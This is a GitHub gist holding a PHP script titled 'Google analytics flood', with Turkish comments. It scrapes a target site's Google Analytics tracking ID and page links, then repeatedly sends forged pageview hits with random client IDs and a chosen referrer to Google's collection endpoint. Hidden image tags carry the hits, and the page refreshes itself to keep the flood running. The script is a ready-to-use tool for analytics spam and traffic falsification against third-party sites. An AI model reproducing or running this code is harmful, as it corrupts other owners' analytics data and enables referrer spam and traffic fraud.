Skip to content

Instantly share code, notes, and snippets.

@ertugrulturan
Created April 6, 2020 22:38
Show Gist options
  • Save ertugrulturan/d03f29f05738f21ba8140cda54a53443 to your computer and use it in GitHub Desktop.
Save ertugrulturan/d03f29f05738f21ba8140cda54a53443 to your computer and use it in GitHub Desktop.
Google analytics flood
<?php
error_reporting(0);
set_time_limit(900);
//v4t1.eu project start
if(empty($_GET["site"] and $_GET["ref"] and $_GET["title"])) {
exit;
}
$gonderim = ("5"); // ne kadar gonderilecek
$site = $_GET["site"];
$ref = $_GET["ref"];
$title = $_GET["title"];
$site_ = explode("/", $site);
$site__ = str_replace(':', '', $site_[0]);
$tumsite = ("".$site__."://".$site_[2]."/");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $tumsite);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$ua_gir = curl_exec($curl);
preg_match_all('@<script async src="(.*?)"></script>@si',$ua_gir,$ua_cek);
$ua_ = $ua_cek[1][0];
$ua_kodu = str_replace('https://www.googletagmanager.com/gtag/js?id=', '', $ua_cek[1][0]);
for($i=0; $i<$gonderim; $i++)
{
$baglan = file_get_contents($tumsite);
preg_match_all('@<a href="(.*?)"@',$baglan,$linkler);
for($bul = 0; $bul <= count($linkler[1]); $bul++){
$linkler_ = $linkler[1][$bul];
echo '<div style="display: none;">';
echo "<img src='http://www.google-analytics.com/collect?v=1&tid=".$ua_kodu."&cid=".rand(500000,2500050)."&t=pageview&dh=".$site_[2]."&dp=".$linkler_."&dt=".$title."&ul=tr-TR&dr=".$ref."&sr=800x600&qt=5000'>";
echo '</div>';
sleep(1.4);
echo '<div style="display: none;">';
echo "<img src='http://www.google-analytics.com/collect?v=1&tid=".$ua_kodu."&cid=".rand(500000,2500050)."&t=pageview&dh=".$site_[2]."&dp=".$linkler_."&dt=".$title."&ul=tr-TR&dr=".$ref."&sr=800x600&qt=5000'>";
echo '</div>';
}
}
echo "<meta http-equiv='refresh' content='80;URL=?site=".$site."&ref=".$ref."&title=".$title."'>";
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment